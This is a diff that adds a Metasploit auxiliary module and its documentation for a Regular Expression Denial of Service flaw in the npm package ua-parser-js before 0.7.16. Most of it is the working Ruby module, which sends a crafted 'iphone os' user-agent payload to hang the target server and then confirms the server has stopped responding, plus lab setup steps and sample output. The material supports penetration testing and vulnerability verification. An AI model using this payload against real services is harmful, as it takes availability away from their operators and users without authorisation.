Adding ua_parser_js ReDoS Module

documentation/modules/auxiliary/dos/http/ua_parser_js_redos.md

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+## Vulnerable Application
+This auxiliary module exploits a Regular Expression Denial of Service vulnerability
+in the npm module `ua-parser-js`.  Versions before 0.7.16 are vulnerable.  
+Any application that uses a vulnerable version of this module and calls the `getOS`
+or `getResult` functions will be vulnerable to this module.  An example server is provided
+below.
+
+```
+npm i ua-parser-js@0.7.15
+```
+
+## Verification Steps
+
+Example steps in this format (is also in the PR):
+1. Create a new directory for test application.
+2. Copy below example server into test application directory as `server.js`.
+3. Run `npm i express` to install express in the test application directory.
+4. To test vulnerable versions of the module, run `npm i ua-parser-js@0.7.15` to install a vulnerable version of ua-parser-js.
+5. To test non-vulnerable versions of the module, run `npm i ua-parser-js` to install the latest version of ua-parser-js.
+6. Once all dependencies are installed, run the server with `node server.js`.
+7. Open up a new terminal.
+8. Start msfconsole.
+9. `use auxiliary/dos/http/ua_parser_js_redos`.
+10. `set RHOSTS <IP>`.
+11. `run`.
+12. In vulnerable installations, Module should have positive output and the test application should accept no further requests.
+13. In non-vulnerable installations, module should have negative output and the test application should accept further requests.
+
+## Scenarios
+
+### ua-parser-js npm module version 0.7.15
+
+Expected output for successful exploitation:
+
+```
+[*] Testing Service to make sure it is working.
+[*] Test request successful, attempting to send payload
+[*] Sending ReDoS request to 192.168.3.24:3000.
+[*] No response received from 192.168.3.24:3000, service is most likely unresponsive.
+[*] Testing for service unresponsiveness.
+[+] Service not responding.
+[*] Auxiliary module execution completed
+```
+
+### Example Vulnerable Application
+
+```
+// npm i express
+// npm i ua-parser-js@0.7.15 (vulnerable)
+// npm i ua-parser-js (non-vulnerable)
+
+const express = require('express')
+const uaParser = require('ua-parser-js');
+const app = express()
+
+app.get('/', (req, res) => {
+  var parser = new uaParser(req.headers['user-agent']);
+  res.end(JSON.stringify(parser.getResult()));
+});
+
+app.listen(3000, '0.0.0.0', () => console.log('Example app listening on port 3000!'))
+```

modules/auxiliary/dos/http/ua_parser_js_redos.rb

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+##
+# This module requires Metasploit: https://metasploit.com/download
+# Current source: https://github.com/rapid7/metasploit-framework
+##
+
+class MetasploitModule < Msf::Auxiliary
+  include Msf::Exploit::Remote::HttpClient
+  include Msf::Auxiliary::Dos
+
+  def initialize
+    super(
+      'Name'           => 'ua-parser-js npm module ReDoS',
+      'Description'    => %q{
+        This module exploits a Regular Expression Denial of Service vulnerability
+        in the npm module "ua-parser-js". Server-side applications that use
+        "ua-parser-js" for parsing the browser user-agent string will be vulnerable
+        if they call the "getOS" or "getResult" functions. This vulnerability was
+        fixed as of version 0.7.16.
+      },
+      'References'     =>
+        [
+          ['URL', 'https://github.com/faisalman/ua-parser-js/commit/25e143ee7caba78c6405a57d1d06b19c1e8e2f79'],
+          ['CWE', '400'],
+        ],
+      'Author'         =>
+        [
+          'Ryan Knell,  Sonatype Security Research',
+          'Nick Starke, Sonatype Security Research',
+        ],
+      'License'        =>  MSF_LICENSE
+    )
+
+    register_options([
+      Opt::RPORT(80)
+    ])
+  end
+
+  def run
+    unless test_service
+      fail_with(Failure::Unreachable, "#{peer} - Could not communicate with service.")
+    else
+      trigger_redos
+      test_service_unresponsive
+    end
+  end
+
+  def trigger_redos
+    begin
+      print_status("Sending ReDoS request to #{peer}.")
+
+      res = send_request_cgi({
+        'uri' => '/',
+        'method' => 'GET',
+        'headers' => {
+          'user-agent' => 'iphone os ' + (Rex::Text.rand_text_alpha(1) * 64)
+        }
+      })
+
+      if res.nil?
+        print_status("No response received from #{peer}, service is most likely unresponsive.")
+      else
+        fail_with(Failure::Unknown, "ReDoS request unsuccessful. Received status #{res.code} from #{peer}.")
+      end
+
+    rescue ::Rex::ConnectionRefused
+      print_error("Unable to connect to #{peer}.")
+    rescue ::Timeout::Error
+      print_status("No HTTP response received from #{peer}, this indicates the payload was successful.")
+    end
+  end
+
+  def test_service_unresponsive
+    begin
+      print_status('Testing for service unresponsiveness.')
+
+      res = send_request_cgi({
+        'uri' => '/' + Rex::Text.rand_text_alpha(8),
+        'method' => 'GET'
+      })
+
+      if res.nil?
+        print_good('Service not responding.')
+      else
+        print_error('Service responded with a valid HTTP Response; ReDoS attack failed.')
+      end
+    rescue ::Rex::ConnectionRefused
+      print_error('An unknown error occurred.')
+    rescue ::Timeout::Error
+      print_good('HTTP request timed out, most likely the ReDoS attack was successful.')
+    end
+  end
+
+  def test_service
+    begin
+      print_status('Testing Service to make sure it is working.')
+
+      res = send_request_cgi({
+        'uri' => '/' + Rex::Text.rand_text_alpha(8),
+        'method' => 'GET'
+      })
+
+      if !res.nil? && (res.code == 200 || res.code == 404)
+        print_status('Test request successful, attempting to send payload')
+        return true
+      else
+        return false
+      end
+    rescue ::Rex::ConnectionRefused
+      print_error("Unable to connect to #{peer}.")
+      return false
+    end
+  end
+end